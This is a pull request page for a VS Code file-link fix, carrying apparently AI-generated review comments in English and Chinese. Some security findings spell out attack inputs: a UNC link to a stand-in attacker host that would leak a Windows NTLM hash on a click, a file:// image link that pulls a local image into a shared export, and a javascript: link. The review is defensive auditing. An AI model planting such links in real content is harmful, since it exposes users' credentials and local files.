fix(vscode): preserve Windows file links in session exports - #8953
Conversation
|
Thanks for the PR — and for steering it through two rounds of review feedback. Template looks good ✓ Problem: observed bug with solid evidence — #8644 reports the failure with real VS Code error output, a maintainer confirmed the root cause in that thread ( Direction: aligned. The renderer half is the load-bearing piece — without it the link is never clickable; the producer half is what #8644 literally asked for and keeps the link correct and human-readable rather than merely clickable. The maintainer's 2×2 isolation confirms both halves behave as described. Size: 4 files, +317/−52 — 184 production lines ( Approach: the producer side is exactly the one-line fix suggested on the issue, plus paren-escaping so Markdown link parsing can't break on Risk: no elevated risk signals — none of the changed files are in the revert-prone path set. Moving on to code review. 🔍 中文说明感谢贡献 —— 也感谢你在两轮 review 反馈后的持续修改。 模板完整 ✓ 问题：已观测到的 bug，证据充分 —— #8644 附带真实的 VS Code 报错，维护者在该 issue 中确认了根因（ 方向：对齐。渲染器那一半是起决定作用的 —— 没有它链接根本不可点；生产端那一半是 #8644 字面上要求的修法，让链接正确且可读，而不仅仅是可点。维护者的 2×2 隔离实验确认两部分的行为与描述一致。 规模：4 个文件，+317/−52 —— 生产代码 184 行（ 方案：生产端正是 issue 中建议的那一行修法，外加括号转义，防止文件名中的 风险：无升级风险信号 —— 改动文件不在易回滚路径集合内。 进入代码审查 🔍 — Qwen Code · qwen3.8-max Reviewed at |
Code reviewRe-read the full diff from scratch at the current head (same commit as the previous pass — this update refreshes the evidence rather than the findings, and independently re-verified every claim below against the code). Independent take first: for #8644 I would have done exactly two things — What I verified by reading, independent of the author's claims:
Maintainer verification landed since the last pass (@wenshao — real handler + real renderer bundled per arm, driven in headless Chromium with real
Pre-existing and explicitly out of scope for this PR: bare filename mentions in prose ( CI test evidenceUnattended CI run — no PR code executed here. Fetched once at this commit, not polled; the table region below is updated in place by the finalize job once CI settles. Checks on this commit (bot orchestration and skipped-for-fork jobs omitted):
All checks on this commit landed green, web-shell E2E Smoke included — the only red-or-pending signal at review time was that smoke job, which completed successfully at ~02:10 UTC. The unit suite — including the new drive-letter, UNC-rejection, and handler tests — passed on ubuntu; the Windows drive-letter case is covered there through the Not verified: a click inside the actual VS Code Companion webview on Windows — neither sandbox lane reaches the extension webview ( 中文说明代码审查在当前 head 上重新通读了完整 diff（与上次审查是同一个提交 —— 本次更新是刷新证据而非推翻结论，并且独立复核了下面每一条断言）。 先说独立方案：针对 #8644，我会做且只做两件事 —— 生产端改用 独立读代码验证（不依赖作者声明）：
上次审查之后，维护者 @wenshao 的本地验证已落地（真实 handler + 真实渲染器按 arm 打包、headless Chromium 中用真实
既有问题、明确不在本 PR 职责内：正文里裸文件名（ CI 测试证据无人值守 CI 运行 —— 未执行任何 PR 代码。对此提交只抓取一次、不轮询；下方表格区域由 finalize 任务在 CI 结束后原地更新。 此提交上的全部检查已变绿，包括 web-shell E2E Smoke —— 审查时刻唯一未完成的就是它，已于约 02:10（UTC）成功结束。单测（含新增盘符、UNC 拒绝、handler 测试）在 ubuntu 通过 —— Windows 盘符场景由 未验证：Windows 上真实 VS Code Companion webview 内的点击 —— 两条沙箱通道都够不到扩展 webview（ — Qwen Code · qwen3.8-max Reviewed at |
|
Confidence: 4/5 — clean, hardened fix for a confirmed bug that turned out to be worse than reported; my independent read, the green unit CI, and the maintainer's real-Chromium A/B all line up. Stepping back: this PR started as the minimal fix the issue thread called for, and two review rounds turned the renderer half into something genuinely better than a bare scheme-allow. My independent proposal was the same two-piece shape; the PR matches it and then closes every hole the prior rounds named. What landed since the last pass strengthens the picture rather than changing it: the maintainer's end-to-end A/B in real Chromium shows Remaining reservations, all non-blocking and named: (1) the two empty-authority UNC tests certify a boundary only under jsdom — Chromium collapses the slashes so the guard doesn't fire in the real webview; impact is low (an editor tab on a local path, no network fetch) and the maintainer has a tested 4-line patch ready as a follow-up; (2) the last hop — a click inside the actual Windows VS Code Companion webview — rests on the author's recordings plus the maintainer's harness, since no sandbox lane reaches the extension webview; (3) the auxclick and per-render lower-case nits; (4) bare-filename linkify exposure is pre-existing and wants its own issue. None of these block the merge. Housekeeping: @wenshao approved this exact commit on the strength of his own A/B run; the standing CHANGES_REQUESTED reviews are this bot's earlier Verdict executed: CI landed fully green on 中文说明回顾全局：这个 PR 最初就是 issue 讨论中给出的最小修法，两轮 review 之后，渲染器那一半已明显优于"仅放行协议"。我的独立方案同样是两部分结构；PR 与之一致，并把前两轮点名的每个漏洞都堵上了。上次审查之后落地的证据强化而非改变了判断：维护者在真实 Chromium 中的端到端 A/B 表明 剩余保留意见，均不阻塞、逐条点名：(1) 两条空 authority UNC 测试只在 jsdom 下认证了该边界 —— Chromium 会折叠多余斜杠，守卫在真实 webview 中不会触发；影响较低（本地路径打开编辑器标签页，无网络访问），维护者已有实测过的 4 行补丁可作跟进；(2) 最后一跳 —— Windows 上真实 VS Code Companion webview 内的点击 —— 只有作者录屏加维护者 harness 背书，因为没有任何沙箱通道够得到扩展 webview；(3) auxclick 与每次渲染小写化两个小项；(4) 裸文件名被 linkify 成公网域名是既有暴露面，应另开 issue。这些都不阻塞合并。 流程说明：@wenshao 已在同一提交上基于其自跑的 A/B 批准；当前挂着的 CHANGES_REQUESTED 评审是本机器人早前针对已被取代的提交（ 裁决已执行： — Qwen Code · qwen3.8-max Reviewed at |
qwen-code-ci-bot
left a comment
qwen-code-ci-bot
left a comment
There was a problem hiding this comment.
Not explored to full depth (tool budget reached): PR #8953 fixes Windows session-export links: it preserves...: executing SessionMessageHandler.test.ts in this worktree (vitest collection failed resolving @qwen-code/core deps after a --ignore-scripts install; its ke…; PR #8953 fixes Windows session-export links: it preserves...: did not run the 2 new test files (no node_modules in the review worktree; did not perform install) — verification is code-trace based.; PR #8953 fixes Windows session-export links: it preserves...: did not execute the two new test files ( SessionMessageHandler.test.ts , MarkdownRenderer.test.tsx ) — the review worktree has no node_modules and I did not …; PR #8953 fixes Windows session-export links: it preserves...: none — all checks above completed within budget.; PR #8953 fixes Windows session-export links: it preserves...: could not run the webui test suite in-worktree (no node_modules installed in this worktree), so Finding 1's mechanism rests on source reading plus the Node/re…, and 1 more.
Not reviewed: reverse audit — did not converge within the reverse-audit round cap of 5.
中文说明
未探索到全部深度（达到工具调用预算）：PR #8953 fixes Windows session-export links: it preserves...：executing SessionMessageHandler.test.ts in this worktree (vitest collection failed resolving @qwen-code/core deps after a --ignore-scripts install; its ke…；PR #8953 fixes Windows session-export links: it preserves...：did not run the 2 new test files (no node_modules in the review worktree; did not perform install) — verification is code-trace based.；PR #8953 fixes Windows session-export links: it preserves...：did not execute the two new test files ( SessionMessageHandler.test.ts , MarkdownRenderer.test.tsx ) — the review worktree has no node_modules and I did not …；PR #8953 fixes Windows session-export links: it preserves...：none — all checks above completed within budget.；PR #8953 fixes Windows session-export links: it preserves...：could not run the webui test suite in-worktree (no node_modules installed in this worktree), so Finding 1's mechanism rests on source reading plus the Node/re…，另有 1 条。
未审查：反向审计——在 5 轮的反审轮数上限内未收敛。
— qwen3.8-max via Qwen Code /review (v0.21.10)
| const defaultValidateLink = md.validateLink; | ||
| md.validateLink = (url: string): boolean => | ||
| /^file:\/\//i.test(url) || defaultValidateLink(url); |
There was a problem hiding this comment.
[Critical] With enableFileLinks=true (the component default — ThinkingMessage via MessageContent with onFileClick wired, and hardcoded in CollapsibleFileContent.tsx), this override newly renders file:// anchors that the pre-existing upgradeAnchorIfFilePath then hijacks: FILE_PATH_REGEX/BARE_FILE_REGEX match inside the URI, the anchor is rewritten to href="#" with data-file-path set to the RAW file:///… URI, and the a.file-path-link branch of handleContainerClick fires before the new normalizeExplicitFileLink branch — so onFileClick receives the raw URI, which FileMessageHandler.handleOpenFile joins onto the workspace folder (it is neither posix- nor win32-absolute). — Failure scenario: thinking content or an expanded file-reference block containing [file.md](file:///D:/aplikacja/file.md) → click → Uri.joinPath(workspace, 'file:///…') → nonexistent path → "Failed to open file" toast. Pre-diff the embedded path was linkified into a working link, so this is a regression on enableFileLinks=true surfaces; the new test masks it (renders with enableFileLinks=false and a %20 URL). Probe-confirmed with a flip: skipping file: hrefs in upgradeAnchorIfFilePath makes the click deliver the decoded path.
| const defaultValidateLink = md.validateLink; | |
| md.validateLink = (url: string): boolean => | |
| /^file:\/\//i.test(url) || defaultValidateLink(url); | |
| const defaultValidateLink = md.validateLink; | |
| md.validateLink = (url: string): boolean => | |
| /^file:\/\//i.test(url) || defaultValidateLink(url); |
(suggestion block only pins this hunk; the actual fix belongs in upgradeAnchorIfFilePath — add file to the existing https?|mailto|ftp|data early-return — plus a regression test with enableFileLinks=true)
中文说明
[严重] 在 enableFileLinks=true（组件默认值 —— ThinkingMessage 经由 MessageContent 传入且已接线 onFileClick，CollapsibleFileContent.tsx 中为硬编码）下，此改动新渲染出的 file:// 锚点会被既有的 upgradeAnchorIfFilePath 劫持：FILE_PATH_REGEX/BARE_FILE_REGEX 能匹配 URI 内部，锚点被改写为 href="#" 且 data-file-path 被设为原始的 file:///… URI，handleContainerClick 的 a.file-path-link 分支先于新的 normalizeExplicitFileLink 分支触发 —— 于是 onFileClick 收到原始 URI，而 FileMessageHandler.handleOpenFile 会把它拼接进工作区目录（它既不是 posix 绝对路径也不是 win32 绝对路径）。—— 失败场景：思考内容或展开的文件引用块中包含 [file.md](file:///D:/aplikacja/file.md) → 点击 → Uri.joinPath(workspace, 'file:///…') → 不存在的路径 → 弹出 "Failed to open file" 错误提示。改动前嵌入的路径会被 linkify 成可用的纯文本链接，因此这对 enableFileLinks=true 场景是一次回归；新增测试掩盖了该问题（以 enableFileLinks=false 渲染且使用了带 %20 的 URL）。已用探针确认并验证了修复翻转：在 upgradeAnchorIfFilePath 中跳过 file: href 后，点击能正确传递解码后的路径。
— qwen3.8-max via Qwen Code /review (v0.21.10)
| const defaultValidateLink = md.validateLink; | ||
| md.validateLink = (url: string): boolean => | ||
| /^file:\/\//i.test(url) || defaultValidateLink(url); |
There was a problem hiding this comment.
[Critical] Saving an export to a UNC location produces a two-slash authority-form URI — pathToFileURL('\\\\server\\share\\file.md').href → file://server/share/file.md (verified on Node 22) — which this override now renders as a clickable anchor, but normalizeExplicitFileLink only strips ^file:/// (three slashes): the two-slash form fails the strip, the drive-letter check, and startsWith('/'), so it returns /file://server/share/file.md, and handleOpenFile opens that as an absolute POSIX path → ENOENT. — Failure scenario: a Windows user saves the session export to a network share (showSaveDialog allows it) → the success-message link renders and is clickable → clicking yields a "Failed to open file" toast instead of opening the export. Also reachable by pasting [app](file://server/share/app.md) into chat. Pre-diff the anchor never rendered, so this broken click is newly introduced by this diff. Probe-confirmed end to end.
中文说明
[严重] 将导出保存到 UNC 位置时会生成带两个斜杠的 authority 形式 URI —— pathToFileURL('\\\\server\\share\\file.md').href → file://server/share/file.md（已在 Node 22 上验证）—— 此改动使其可以渲染为可点击的锚点，但 normalizeExplicitFileLink 只会剥离 ^file:///（三个斜杠）：两个斜杠的形式无法通过剥离、盘符检查和 startsWith('/') 判断，最终返回 /file://server/share/file.md，而 handleOpenFile 将其当作 POSIX 绝对路径打开 → ENOENT。—— 失败场景：Windows 用户将会话导出保存到网络共享（showSaveDialog 允许这样做）→ 成功消息中的链接可渲染且可点击 → 点击时弹出 "Failed to open file" 错误而不是打开导出文件。在聊天中粘贴 [app](file://server/share/app.md) 同样可触发。改动前该锚点根本不会渲染，因此这个坏点击是本 diff 新引入的。已通过探针端到端确认。
— qwen3.8-max via Qwen Code /review (v0.21.10)
| const defaultValidateLink = md.validateLink; | ||
| md.validateLink = (url: string): boolean => | ||
| /^file:\/\//i.test(url) || defaultValidateLink(url); |
There was a problem hiding this comment.
[Critical] This override also feeds markdown-it's image rule (it consults the same validateLink), so  now renders a live <img src="file:///…"> — a render-time fetch that no part of this component intercepts (handleContainerClick only matches <a>; processFilePaths never touches <img>). Probe: with the repo's markdown-it 14, base renders  as literal text; with this override it renders <img src="file:///home/user/private.png" alt="x">. The /export html session viewer renders through ChatViewer → AssistantMessage → this component into a page with no CSP meta, opened from disk — a file:// origin where browsers permit file→file image subresources. — Failure scenario: attacker-planted content (tool output, web-fetch results, pasted transcripts) containing  loads the viewer's local image into the shareable export document when the export is opened from disk; non-image targets become a broken-icon probe. In the IDE-companion webview the CSP (img-src ${cspSource} data:) blocks the fetch, replacing previously-plain text with a broken-image icon. R1-2-style click-time preventDefault cannot stop a render-time fetch.
| const defaultValidateLink = md.validateLink; | |
| md.validateLink = (url: string): boolean => | |
| /^file:\/\//i.test(url) || defaultValidateLink(url); | |
| const defaultValidateLink = md.validateLink; | |
| md.validateLink = (url: string): boolean => | |
| /^file:\/\//i.test(url) || defaultValidateLink(url); |
(suggestion block only pins this hunk; the fix is to scope the file: allowance to links only — strip/blank any img[src^="file:"] in the renderedHtml pipeline regardless of enableFileLinks, or admit file: at the link rule/renderer level only — plus a test that  renders no file:-src img)
中文说明
[严重] 该覆写同样作用于 markdown-it 的图片规则（它查询同一个 validateLink），因此  现在会渲染出一个真实的 <img src="file:///…"> —— 这是渲染时发起的资源请求，组件中没有任何部分拦截它（handleContainerClick 只匹配 <a>；processFilePaths 从不处理 <img>）。探针验证：使用仓库内的 markdown-it 14，改动前  渲染为纯文本；加上此覆写后渲染为 <img src="file:///home/user/private.png" alt="x">。/export html 会话查看器经由 ChatViewer → AssistantMessage → 本组件渲染到一个没有 CSP meta 的页面，并从磁盘打开 —— 即 file:// 源，浏览器允许 file→file 的图片子资源。—— 失败场景：攻击者可植入的内容（工具输出、网页抓取结果、粘贴的会话记录）中包含 ，当导出文件从磁盘打开时，会把查看者本地的图片加载进可分享的导出文档；非图片目标则成为损坏图标的探测手段。在 IDE 伴侣 webview 中，CSP（img-src ${cspSource} data:）会阻止该请求，把原本的纯文本替换为一个损坏的图片图标。R1-2 那种点击时 preventDefault 无法阻止渲染时的资源请求。
— qwen3.8-max via Qwen Code /review (v0.21.10)
| const defaultValidateLink = md.validateLink; | ||
| md.validateLink = (url: string): boolean => | ||
| /^file:\/\//i.test(url) || defaultValidateLink(url); |
There was a problem hiding this comment.
[Critical] This diff makes file:// anchors renderable, but the file:// branch of normalizeExplicitFileLink treats any decoded # as a literal filename character — so hand-written file:// links carrying this component's own supported #L<n> line-fragment convention normalize to path#L<n> instead of path:<n>. — Failure scenario: chat content containing [app.ts](file:///tmp/src/app.ts#L12) (newly rendered as an anchor; pre-diff validateLink rejected file:) → click returns /tmp/src/app.ts#L12 → handleOpenFile's :line regex does not recognize #L12 → ENOENT → "Failed to open file" toast, while the schemeless twin [app.ts](/tmp/src/app.ts#L12) correctly opens at line 12 (pinned by the existing test). Probe-confirmed with flip: splitting the fragment off the RAW href before percent-decoding (and converting a matching #L<n> to :n) yields onFileClick('/tmp/src/app.ts:12') while preserving the system-URI %23 invariant (a # decoded from %23 stays literal).
中文说明
[严重] 此 diff 使 file:// 锚点可以被渲染出来，但 normalizeExplicitFileLink 的 file:// 分支把任何解码后的 # 都当作普通文件名字符 —— 因此手写的、携带本组件自身支持的 #L<n> 行片段约定的 file:// 链接会被规范化为 path#L<n> 而不是 path:<n>。—— 失败场景：聊天内容中包含 [app.ts](file:///tmp/src/app.ts#L12)（现在会新渲染为锚点；改动前 validateLink 拒绝 file:）→ 点击返回 /tmp/src/app.ts#L12 → handleOpenFile 的 :line 正则无法识别 #L12 → ENOENT → 弹出 "Failed to open file" 错误提示；而不带 scheme 的等价写法 [app.ts](/tmp/src/app.ts#L12) 却能正确在第 12 行打开（已有测试固定了该行为）。已用探针确认并验证翻转：在百分号解码之前先从原始 href 上分离片段（并把匹配的 #L<n> 转换为 :n）后，onFileClick('/tmp/src/app.ts:12') 正常触发，同时保留了系统 URI 的 %23 不变量（从 %23 解码出的 # 仍按字面字符处理）。
— qwen3.8-max via Qwen Code /review (v0.21.10)
| filePath: string, | ||
| ): string { | ||
| const markdownLinkPath = vscode.Uri.file(filePath).toString(); | ||
| const markdownLinkPath = pathToFileURL(filePath).href; |
There was a problem hiding this comment.
[Critical] pathToFileURL does not percent-encode parentheses, and markdown-it truncates a link destination at the first unbalanced ) — so an export saved to a filename containing an unmatched ) produces a success-message link whose rendered href is silently truncated to a wrong path. — Failure scenario: /export md saved as a).md (legal on Windows/macOS/Linux; sessionExportService takes path.basename(saveUri.fsPath) verbatim) → the message becomes [a).md](file:///tmp/a).md) (verified: pathToFileURL('/tmp/a).md').href leaves ) unencoded) → markdown-it parses the destination as file:///tmp/a and renders <a href="file:///tmp/a">a).md</a>.md) (verified with this repo's markdown-it + this override) → the click opens /tmp/a — silently opening a WRONG existing file, or an error toast — while the link text displays the correct filename. Pre-diff nothing clickable existed for this content. Balanced parens (a(b).md) parse fine; the break is specifically unmatched ). The %29-escaped variant round-trips through normalizeExplicitFileLink/safeDecodePath (verified).
| const markdownLinkPath = pathToFileURL(filePath).href; | |
| const markdownLinkPath = pathToFileURL(filePath) | |
| .href.replace(/\(/g, '%28') | |
| .replace(/\)/g, '%29'); |
中文说明
[严重] pathToFileURL 不会对圆括号做百分号编码，而 markdown-it 会在第一个不配对的 ) 处截断链接目标 —— 因此当导出保存为包含不配对 ) 的文件名时，成功消息中的链接渲染出的 href 会被悄悄截断成一个错误的路径。—— 失败场景：/export md 保存为 a).md（在 Windows/macOS/Linux 上均为合法文件名；sessionExportService 原样使用 path.basename(saveUri.fsPath)）→ 消息变为 [a).md](file:///tmp/a).md)（已验证：pathToFileURL('/tmp/a).md').href 不对 ) 编码）→ markdown-it 将目标解析为 file:///tmp/a 并渲染出 <a href="file:///tmp/a">a).md</a>.md)（已用本仓库的 markdown-it + 本覆写验证）→ 点击会打开 /tmp/a —— 悄悄打开一个错误的已存在文件或弹出错误提示 —— 而链接文字显示的却是正确的文件名。改动前该内容不存在任何可点击的形式。配对的圆括号（a(b).md）解析正常；问题仅出现在不配对的 ) 上。%29 转义变体可以经由 normalizeExplicitFileLink/safeDecodePath 正确往返（已验证）。
— qwen3.8-max via Qwen Code /review (v0.21.10)
| const defaultValidateLink = md.validateLink; | ||
| md.validateLink = (url: string): boolean => | ||
| /^file:\/\//i.test(url) || defaultValidateLink(url); |
There was a problem hiding this comment.
[Suggestion] This is now the third copy of the /^file:\/\//i scheme predicate in this file — the same literal already gates normalizeExplicitFileLink (~line 52) and the click-routing branch in handleContainerClick (~line 375), with no shared constant. Line 101 decides whether the anchor renders at all; line 375 decides whether the click is intercepted — the two coupled halves of this exact feature. — Concrete cost: a future edit that changes scheme detection in one place but not the others (e.g. tightening this override to file:///) makes render and routing diverge: the link renders but the click is not intercepted, so the webview navigates the raw URL — the same bug class this PR fixes; and every future scheme change must be coordinated across three sites.
| const defaultValidateLink = md.validateLink; | |
| md.validateLink = (url: string): boolean => | |
| /^file:\/\//i.test(url) || defaultValidateLink(url); | |
| const FILE_URI_PATTERN = /^file:\/\//i; |
(extract once at module level and reuse in createMarkdownInstance, normalizeExplicitFileLink, and handleContainerClick)
中文说明
[建议] 这已是本文件中 /^file:\/\//i scheme 判断的第三份拷贝 —— 同一个字面量已经出现在 normalizeExplicitFileLink（约第 52 行）和 handleContainerClick 的点击路由分支（约第 375 行），且不存在共享常量。第 101 行决定锚点是否被渲染出来；第 375 行决定点击是否被拦截 —— 正是本功能互相耦合的两半。—— 具体代价：未来若只修改其中一处而其他处的 scheme 检测保持不变（例如把本覆写收紧为 file:///），渲染与路由就会分叉：链接被渲染出来但点击不被拦截，webview 会直接导航到原始 URL —— 即本 PR 要修复的同类 bug；并且未来每次 scheme 变更都要在三处同步修改。
— qwen3.8-max via Qwen Code /review (v0.21.10)
| const defaultValidateLink = md.validateLink; | ||
| md.validateLink = (url: string): boolean => | ||
| /^file:\/\//i.test(url) || defaultValidateLink(url); |
There was a problem hiding this comment.
[Suggestion] The rejection-bypass side of this disjunction is unpinned by any test: mutation-testing shows md.validateLink = () => true (admitting every scheme, including javascript:) survives the entire suite — all three existing tests use file links, and none renders a non-file link through this component. (The fallback side IS pinned: dropping || defaultValidateLink(url) kills two existing tests.) — Concrete cost: a future refactor to () => true — or any variant admitting disallowed schemes — ships green with dangerous-scheme links rendered as anchors.
Suggested fix: add two cases — [docs](https://example.com/a.md) still renders an anchor with the original href, and [x](javascript:alert(1)) renders no anchor.
中文说明
[建议] 该析取表达式中“绕过拒绝”的一侧没有任何测试固定：变异测试表明 md.validateLink = () => true（放行所有 scheme，包括 javascript:）能在整套测试下存活 —— 现有三个测试都使用 file 链接，没有任何测试通过本组件渲染非 file 链接。（回退一侧是被固定的：去掉 || defaultValidateLink(url) 会挂掉两个现有测试。）—— 具体代价：未来重构成 () => true —— 或任何放行被禁 scheme 的变体 —— 会在测试全绿的情况下让危险 scheme 的链接被渲染为锚点。
建议修复：新增两个用例 —— [docs](https://example.com/a.md) 仍渲染出带原 href 的锚点；[x](javascript:alert(1)) 不渲染锚点。
— qwen3.8-max via Qwen Code /review (v0.21.10)
| expect(onFileClick).toHaveBeenCalledWith( | ||
| 'C:/Users/Me/My Exports/export.md', | ||
| ); |
There was a problem hiding this comment.
[Suggestion] The POSIX file:/// variant of export links is newly reachable through this diff but untested — including normalizeExplicitFileLink's leading-/ re-prepend branch, the only thing keeping Linux/macOS export links absolute. — Concrete cost: if that branch regresses (e.g. removed as dead code during cleanup), a Linux/macOS export file:///workspace/export.md strips down to the relative workspace/export.md, handleOpenFile resolves it against the workspace folder, and the click opens a wrong or nonexistent file — with the entire suite green.
Suggested fix: add a case rendering [export.md](file:///tmp/exports/export.md) asserting onFileClick receives /tmp/exports/export.md.
中文说明
[建议] POSIX 形式的 file:/// 导出链接在本 diff 之后变得可触达，但没有测试覆盖 —— 包括 normalizeExplicitFileLink 中重新补上前导 / 的分支，它是 Linux/macOS 导出链接保持绝对路径的唯一保障。—— 具体代价：如果该分支发生回归（例如在清理时被当作死代码删除），Linux/macOS 的导出链接 file:///workspace/export.md 剥离后会剩下相对路径 workspace/export.md，handleOpenFile 会将其相对工作区目录解析，点击会打开一个错误或根本不存在的文件 —— 而整套测试依然是绿的。
建议修复：新增一个用例，渲染 [export.md](file:///tmp/exports/export.md) 并断言 onFileClick 收到 /tmp/exports/export.md。
— qwen3.8-max via Qwen Code /review (v0.21.10)
| if ( | ||
| process.platform !== 'win32' && | ||
| filePath === 'D:\\aplikacja\\file.md' | ||
| ) { |
There was a problem hiding this comment.
[Suggestion] This global vi.mock('node:url') special-cases exactly one fixture string ('D:\\aplikacja\\file.md'), coupling the module mock to a single test's data. — Concrete cost: a maintainer adding a second Windows-path export test (different drive, UNC path, spaces) gets no windows-mode coercion for the new path — on Linux/macOS CI pathToFileURL treats it as a POSIX relative path and returns a baffling CWD-based URL like file:///home/runner/…/E:%5Cother%5Cfile.md (verified empirically), so the new test fails looking like a production regression rather than a mock gap.
| if ( | |
| process.platform !== 'win32' && | |
| filePath === 'D:\\aplikacja\\file.md' | |
| ) { | |
| if ( | |
| process.platform !== 'win32' && | |
| /^[a-zA-Z]:\\/.test(filePath) | |
| ) { |
中文说明
[建议] 这个全局的 vi.mock('node:url') 只特判了一个 fixture 字符串（'D:\\aplikacja\\file.md'），把模块级 mock 与单个测试的数据耦合在了一起。—— 具体代价：当维护者新增第二个 Windows 路径导出测试（不同盘符、UNC 路径、带空格）时，新路径不会获得 windows 模式转换 —— 在 Linux/macOS CI 上 pathToFileURL 会把它当作 POSIX 相对路径处理，返回形如 file:///home/runner/…/E:%5Cother%5Cfile.md 的令人困惑的基于 CWD 的 URL（已实验验证），使新测试的失败看起来像生产回归而不是 mock 缺口。
— qwen3.8-max via Qwen Code /review (v0.21.10)
| anchor?.dispatchEvent( | ||
| new MouseEvent('click', { bubbles: true, cancelable: true }), | ||
| ); |
There was a problem hiding this comment.
[Suggestion] This test pins only the onFileClick payload of the file:// click branch, not its navigation suppression — the branch's e.preventDefault()/e.stopPropagation() is untested and nothing in the file asserts event.defaultPrevented. Mutation-verified: deleting only e.preventDefault(); keeps the whole suite green (jsdom performs no navigation), and the assertion proposed below fails on the mutated code and passes on the real code. The click branch predates this PR but was dead for markdown-rendered content until this diff's validateLink override made it reachable — so its core behavior now deserves pinning. — Concrete cost: a future refactor of handleContainerClick that drops preventDefault ships green, and each click on an export-success link then also performs the anchor's default navigation (double-open in the VS Code webview; window navigation in consumers that don't block it).
| anchor?.dispatchEvent( | |
| new MouseEvent('click', { bubbles: true, cancelable: true }), | |
| ); | |
| const event = new MouseEvent('click', { | |
| bubbles: true, | |
| cancelable: true, | |
| }); | |
| anchor?.dispatchEvent(event); | |
| expect(event.defaultPrevented).toBe(true); |
中文说明
[建议] 该测试只固定了 file:// 点击分支传给 onFileClick 的参数，没有固定它对默认导航的抑制 —— 分支中的 e.preventDefault()/e.stopPropagation() 未被测试，整个文件也没有任何地方断言 event.defaultPrevented。已通过变异验证：仅删除 e.preventDefault(); 整套测试仍然全绿（jsdom 不会真的导航），而下文建议的断言在变异代码上会失败、在真实代码上会通过。该点击分支早于本 PR 就存在，但在本 diff 的 validateLink 覆写使其可达之前，对 markdown 渲染内容而言它是死代码 —— 因此它的核心行为现在值得被固定下来。—— 具体代价：未来某次 handleContainerClick 重构若丢掉 preventDefault，会在测试全绿的情况下合入，导出成功链接的每次点击都会同时触发锚点的默认导航（在 VS Code webview 中造成双重打开；在不阻止导航的使用方中导致窗口被导航走）。
— qwen3.8-max via Qwen Code /review (v0.21.10)
qwen-code-ci-bot
left a comment
qwen-code-ci-bot
left a comment
There was a problem hiding this comment.
Not explored to full depth (tool budget reached): PR #8953 fixes Windows session-export links: the VS Code ...: none — all planned checks completed within budget.; PR #8953 fixes Windows session-export links: the VS Code ...: none — all checks I started completed within budget..
中文说明
未探索到全部深度（达到工具调用预算）：PR #8953 fixes Windows session-export links: the VS Code ...：none — all planned checks completed within budget.；PR #8953 fixes Windows session-export links: the VS Code ...：none — all checks I started completed within budget.。
— qwen3.8-max via Qwen Code /review (v0.21.10)
| } else { | ||
| // Preserve the authority component for UNC paths. | ||
| filePath = `//${uriPath}`; | ||
| } |
There was a problem hiding this comment.
[Critical] R2-1: file:// links with a remote authority — newly renderable by this diff's validateLink override and test-blessed by the new UNC test — normalize to a UNC path that the companion's openFile sink passes straight to vscode.Uri.file → openTextDocument, so clicking an attacker-named UNC authority in chat content triggers Windows SMB negotiation (NTLM authentication) to that host. Chat content is routinely attacker-influenced (files, issues, and web pages the agent reads and echoes). Probe-verified at this commit: [docs](file://attacker.example/share/readme.md) renders as a clickable anchor and the click delivers //attacker.example/share/readme.md to onFileClick; shouldResolveAgainstWorkspace classifies it as absolute (no workspace join). Attribution note: the same sink was already reachable pre-PR via protocol-relative [x](//attacker/share/f.md) links, so this diff widens and test-blesses the route rather than creating it — but the file:// surface it adds is new. — Failure scenario: the agent echoes [docs](file://attacker.example/share/readme.md) from attacker-controlled content → rendered clickable (newly possible via this diff) → user clicks → handleOpenFile → vscode.Uri.file('//attacker.example/share/readme.md') → on Windows the filesystem redirector authenticates to attacker.example, leaking the user's NTLMv2 hash on a single click.
Fix sketch (spans the override, this branch, and the UNC test):
// createMarkdownInstance: admit only empty-authority file URIs
md.validateLink = (url: string): boolean =>
/^file:\/\/\//i.test(url) || defaultValidateLink(url);If UNC export targets must stay supported, require explicit user confirmation before opening a file URI with a non-empty authority.
中文说明
[严重] R2-1：带远程 authority 的 file:// 链接 —— 本 diff 的 validateLink 覆写使其新近可渲染，且新的 UNC 测试为其背书 —— 会被规范化为 UNC 路径，而 IDE 伴侣的 openFile 端点会将其原样传给 vscode.Uri.file → openTextDocument，因此点击聊天内容中攻击者命名的 UNC authority 会触发 Windows 向该主机的 SMB 协商（NTLM 认证）。聊天内容经常受攻击者影响（agent 读取并回显的文件、issue、网页）。已在本提交上用探针验证：[docs](file://attacker.example/share/readme.md) 渲染为可点击锚点，点击会向 onFileClick 传递 //attacker.example/share/readme.md；shouldResolveAgainstWorkspace 将其判定为绝对路径（不会拼接工作区）。溯源说明：同一端点在本 PR 之前已可经由协议相对链接 [x](//attacker/share/f.md) 触达，因此本 diff 是扩大并为该路由背书，而非创造它 —— 但它新增的 file:// 面是全新的。—— 失败场景：agent 回显来自攻击者可控内容的 [docs](file://attacker.example/share/readme.md) → 渲染为可点击链接（本 diff 之后才可能）→ 用户点击 → handleOpenFile → vscode.Uri.file('//attacker.example/share/readme.md') → 在 Windows 上文件系统重定向器向 attacker.example 发起认证，单次点击即泄露用户的 NTLMv2 哈希。修复方向：将 validateLink 收紧为仅放行空 authority 的 file:///；若必须保留 UNC 导出目标，打开带非空 authority 的 file URI 前要求用户显式确认（并同步更新 UNC 测试）。
— qwen3.8-max via Qwen Code /review (v0.21.10)
| // Skip external links — let browser handle them normally | ||
| if (/^(https?|mailto|ftp|data):/i.test(href)) { | ||
| if ( | ||
| /^(https?|mailto|ftp|data):/i.test(href) || | ||
| FILE_URI_PATTERN.test(href) | ||
| ) { |
There was a problem hiding this comment.
[Suggestion] R2-3: file:// anchors are now rendered even in consumers that never pass onFileClick (PermissionDrawer plan text, WebFetchToolCall/GenericToolCall tool output); there the file:// click branch is skipped (it requires onFileClick) and this branch returns without e.preventDefault(), delegating navigation of a file:// URL to the host — a dead link with zero feedback where hosts block it, host-dependent navigation where they don't. Probe-verified against the installed markdown-it: pre-diff the same input rendered as inert literal text. — Failure scenario: tool output or plan text containing [x](file:///tmp/a.md) renders as a live-looking link (pre-diff: inert literal text); the user clicks; no handler is wired → default navigation of the file:// URL — blocked with an error or silently by most hosts, while an embedded webview may navigate away from the chat UI.
Suggested fix:
if (FILE_URI_PATTERN.test(href)) {
e.preventDefault();
e.stopPropagation();
onFileClick?.(normalizeExplicitFileLink(href));
return;
}(or gate the validateLink override behind an opt-in prop that only the assistant-message path sets)
中文说明
